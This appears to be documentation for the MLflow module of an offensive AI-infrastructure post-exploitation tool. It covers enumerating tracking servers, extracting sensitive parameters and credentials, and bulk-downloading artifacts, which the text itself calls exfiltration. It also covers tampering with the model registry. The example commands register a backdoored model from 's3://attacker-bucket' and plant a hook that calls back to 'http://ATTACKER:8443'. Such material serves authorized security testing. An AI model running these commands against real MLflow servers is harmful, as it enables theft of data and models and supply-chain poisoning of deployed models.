MLflow¶
Enumerate and extract data from MLflow tracking servers.
Overview¶
The mlflow module covers the full MLflow API surface: tracking metadata, experiment and run discovery, artifact inspection, model registry enumeration, model version correlation, bounded artifact reads, capped bulk artifact download, bounded artifact-store writes, gated write/registry mutation proofs, and registry-hook metadata installation.
The client uses GET requests for the model registry search endpoint (MLflow 2.x), with POST fallback for older versions. Health checks try the root path / first (MLflow 2.x returns "OK"), then /health.
Subcommands¶
Read-Only (no --force-exploit required)¶
| Subcommand | Description |
|---|---|
enum |
Tracking server metadata and version. Extracts sensitive params/tags from enumerated runs. |
experiments |
List experiments with run counts |
runs |
List runs for a specific experiment. Produces additional High-severity findings when a run's artifact_uri or parameters expose remote storage URIs (e.g. S3, GCS, Snowflake) or other sensitive patterns |
artifacts |
List artifact tree for a run |
registry |
List registered models |
model-versions |
List versions for a registered model |
model-artifacts |
List artifact paths for a specific model version. Extracts sensitive params/tags from the resolved run. |
download-artifact |
Download an artifact by path |
Gated (requires --force-exploit)¶
| Subcommand | Description |
|---|---|
bulk-download |
Recursively download capped artifacts from a run or model version |
upload-artifact |
Write a bounded artifact to the proxied-artifact store via the real mlflow-artifacts REST API and confirm it by read-back. Proves unauthenticated write access to the artifact store (impact/influenced) — it does NOT prove a downstream model load or execution. |
tamper-proof |
Create a proof experiment, run, and parameter to demonstrate write access to the ML pipeline |
swap-model |
Register a new model version pointing to an operator-supplied artifact source |
hook |
Write a model-version hook URL tag and confirm downstream hook delivery when automation consumes it |
Flags¶
| Flag | Required | Description |
|---|---|---|
--target |
Yes | MLflow server URL (e.g., http://127.0.0.1:5000) |
--header |
No | Custom HTTP headers. Repeatable. |
--experiment |
For experiments, runs |
Experiment name or ID |
--limit |
No | Maximum items to return |
--run-id |
For artifacts, download-artifact, bulk-download |
Run ID to inspect |
--artifact-path |
For download-artifact, upload-artifact |
Artifact store path to download / write |
--artifact-content |
For upload-artifact |
Base64-encoded content to write (capped at 256 KiB; default: a benign marker payload) |
--path-prefix |
For artifacts, bulk-download |
Path prefix filter for artifact listing/download |
--model |
For model-versions, model-artifacts, bulk-download, swap-model, hook |
Registered model name |
--version |
For model-artifacts, bulk-download, hook |
Model version number |
--source |
For swap-model |
Operator-controlled artifact URI to register as a new model version |
--callback-url |
For hook |
Operator-controlled HTTP callback URL. The tool appends a nonce and listens for a matching callback. |
--tag-key |
For hook |
Model-version tag key used for the hook URL (aipostex.hook.url by default) |
--max-files |
For bulk-download |
Maximum artifact files to download |
--max-bytes |
For bulk-download |
Maximum total bytes to download |
--per-file-bytes |
For bulk-download |
Maximum bytes to read per artifact file |
What each landed level means here¶
Findings carry a landed axis recording what actually landed on the target. MLflow tracking-server reads and writes are impact-only unless a separate serving/load path is observed; registry mutation does not by itself prove model execution.
landed |
What produces it in mlflow |
|---|---|
reachable |
enum, experiments, runs, registry, model-versions, and the top-level artifacts listing — the server responded and resources were enumerated, nothing read off it yet. |
influenced |
tamper-proof creates a proof experiment/run/parameter; swap-model creates a registry version pointing at the supplied source; upload-artifact writes an artifact to the proxied store, confirmed by read-back; hook writes verified model-version hook metadata without observed downstream delivery. These are confirmed state changes, not execution. |
read-confirmed |
Sensitive params/tags extracted from enumerated runs and model versions; download-artifact or bulk-download reading config/text/log/notebook/credential artifacts that do not by themselves prove model control. |
execution-confirmed |
Not emitted by the current MLflow tracking/registry verbs. Reserved for a separate serving/load verifier that observes a model actually being loaded or run. |
takeover-capable |
A downloaded artifact classified as model weights (.pt, .bin, .safetensors, .onnx, .pkl) or MLmodel metadata; or a hook whose nonce-matched callback proves downstream MLOps hook automation consumed attacker-controlled registry metadata. Served model execution still requires a separate serving verifier. |
Operator console¶
After the verbs have proven a stage, the request verb (aipostex mlflow … request METHOD PATH) lets you issue any one-shot MLflow REST call by hand — reusing the module's --target/--header — and captures the response as a finding, mining it for loot. It is honest and modest: a bare request is Info severity and never claims impact. MLflow has no interactive shell; drive it one request at a time.
Examples¶
# Enumerate server
./aipostex mlflow --target http://127.0.0.1:5000 enum
# List experiments
./aipostex mlflow --target http://127.0.0.1:5000 experiments --limit 5
# List runs for an experiment
./aipostex mlflow --target http://127.0.0.1:5000 runs --experiment demo --limit 5
# List artifacts for a run
./aipostex mlflow --target http://127.0.0.1:5000 artifacts --run-id run-1
# List registered models
./aipostex mlflow --target http://127.0.0.1:5000 registry
# List model versions
./aipostex mlflow --target http://127.0.0.1:5000 model-versions --model demo-model
# List artifacts for a model version
./aipostex mlflow --target http://127.0.0.1:5000 model-artifacts \
--model demo-model --version 3
# Download a specific artifact
./aipostex mlflow --target http://127.0.0.1:5000 download-artifact \
--run-id run-1 --artifact-path model/MLmodel
# Bulk download capped artifacts from a run (gated)
./aipostex mlflow --target http://127.0.0.1:5000 bulk-download \
--run-id run-1 --path-prefix model --force-exploit
# Prove write access by creating experiment + run (gated)
./aipostex mlflow --target http://127.0.0.1:5000 tamper-proof --force-exploit
# Register a new model version pointing to a supplied artifact URI (gated)
./aipostex mlflow --target http://127.0.0.1:5000 swap-model \
--model demo-model --source s3://attacker-bucket/backdoored-model --force-exploit
# Install hook metadata and confirm downstream controller delivery (gated)
./aipostex mlflow --target http://127.0.0.1:5000 hook \
--model demo-model --version 3 \
--callback-url http://ATTACKER:8443/webhook --force-exploit
Workflow Progression¶
discover network (discovers MLflow on :5000)
→ mlflow enum (server metadata)
→ mlflow experiments (list experiments)
→ mlflow runs --experiment <name> (list runs)
→ mlflow artifacts --run-id <id> (browse artifact tree)
→ mlflow download-artifact --run-id <id> --artifact-path <path>
→ mlflow bulk-download --run-id <id> --path-prefix <path> (gated)
→ mlflow registry (list registered models)
→ mlflow model-versions --model <name>
→ mlflow model-artifacts --model <name> --version <v>
→ mlflow bulk-download --model <name> --version <v> (gated)
→ mlflow hook --model <name> --version <v> --callback-url <url> (gated)
→ mlflow tamper-proof (prove write access, gated)
→ mlflow swap-model (registry mutation, gated)
The module pivots from registry exposure into model-version correlation and artifact listing. bulk-download performs capped artifact exfiltration. tamper-proof proves tracking-server write access; swap-model proves registry mutation; hook proves a real MLflow model-version tag write and only upgrades when a separate MLOps controller actually delivers the nonce-scoped callback.